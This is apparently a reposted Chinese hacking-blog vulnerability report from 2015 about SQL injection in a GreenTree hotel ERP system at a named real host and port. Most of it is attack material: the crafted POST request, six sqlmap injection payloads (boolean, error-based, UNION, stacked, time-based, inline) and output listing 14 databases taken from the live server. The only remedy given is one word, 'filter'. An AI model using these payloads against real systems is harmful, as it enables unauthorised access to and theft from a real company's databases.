记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

格林豪泰某重要系统存在SQL注入

2015-05-07 15:50

格林豪泰某重要系统存在SQL注入涉及14个库

问题处:


POST /op/Module_ERP/UserActive.aspx?userid=1997* HTTP/1.1
Host: system.greentree.com.cn:8080
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:36.0) Gecko/20100101 Firefox/36.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
DontTrackMeHere: gzip, deflate
Referer: http://system.greentree.com.cn:8080/op/Module_ERP/UserActive.aspx?userid=1997%27
X-Forwarded-For: '
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 218

__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwULLTE4OTM2NjcwNTBkZIHMoL2SEOkGJ5sSt21NlTiUkV%2B%2B&__EVENTVALIDATION=%2FwEWAwLJ06XnBwKvpuq2CALVo8avDihMEeCxnynpwiepj1kT%2FPDS8syL&username=%A1%AE&Submit1=%BC%A4%BB%EE





该post包提交的地址参数userid存在注入【直接get注入不能成功,要带着post包去跑】


Place: URI
Parameter: #1*
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://system.greentree.com.cn:8080/op/Module_ERP/UserActive.aspx?u
serid=1997 AND 2338=2338

Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: http://system.greentree.com.cn:8080/op/Module_ERP/UserActive.aspx?u
serid=1997 AND 4834=CONVERT(INT,(CHAR(58) CHAR(106) CHAR(103) CHAR(120) CHAR(58)
(SELECT (CASE WHEN (4834=4834) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(
113) CHAR(119) CHAR(105) CHAR(58)))

Type: UNION query
Title: Generic UNION query (NULL) - 5 columns
Payload: http://system.greentree.com.cn:8080/op/Module_ERP/UserActive.aspx?u
serid=1997 UNION ALL SELECT CHAR(58) CHAR(106) CHAR(103) CHAR(120) CHAR(58) CHAR
(122) CHAR(116) CHAR(100) CHAR(65) CHAR(107) CHAR(117) CHAR(70) CHAR(100) CHAR(8
4) CHAR(97) CHAR(58) CHAR(113) CHAR(119) CHAR(105) CHAR(58),NULL,NULL,NULL,NULL-
-

Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: http://system.greentree.com.cn:8080/op/Module_ERP/UserActive.aspx?u
serid=1997; WAITFOR DELAY '0:0:5'--

Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: http://system.greentree.com.cn:8080/op/Module_ERP/UserActive.aspx?u
serid=1997 WAITFOR DELAY '0:0:5'--

Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: http://system.greentree.com.cn:8080/op/Module_ERP/UserActive.aspx?u
serid=(SELECT CHAR(58) CHAR(106) CHAR(103) CHAR(120) CHAR(58) (SELECT (CASE WHEN
(8853=8853) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(113) CHAR(119) CHAR
(105) CHAR(58))
---
[13:39:44] [INFO] testing Microsoft SQL Server
[13:39:44] [INFO] confirming Microsoft SQL Server
[13:39:44] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows
web application technology: ASP.NET, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[13:39:44] [INFO] fetching database names
[13:39:45] [INFO] the SQL query used returns 14 entries
[13:39:45] [INFO] retrieved: "DBA"
[13:39:45] [INFO] retrieved: "GreenTree_OP"
[13:39:45] [INFO] retrieved: "GTI_QA"
[13:39:45] [INFO] retrieved: "kno"
[13:39:46] [INFO] retrieved: "kno_qa"
[13:39:46] [INFO] retrieved: "kno2"
[13:39:46] [INFO] retrieved: "master"
[13:39:46] [INFO] retrieved: "model"
[13:39:47] [INFO] retrieved: "msdb"
[13:39:47] [INFO] retrieved: "myOnlineExam"
[13:39:47] [INFO] retrieved: "Northwind"
[13:39:47] [INFO] retrieved: "pubs"
[13:39:47] [INFO] retrieved: "tempdb"
[13:39:48] [INFO] retrieved: "WebSite_Test"
available databases [14]:
[*] DBA
[*] GreenTree_OP
[*] GTI_QA
[*] kno
[*] kno2
[*] kno_qa
[*] master
[*] model
[*] msdb
[*] myOnlineExam
[*] Northwind
[*] pubs
[*] tempdb
[*] WebSite_Test

 

解决方案:

过滤

 

知识来源: www.2cto.com/Article/201505/397291.html

阅读:110064 | 评论:0 | 标签:注入

想收藏或者和大家分享这篇好文章→复制链接地址

“格林豪泰某重要系统存在SQL注入”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

ADS

标签云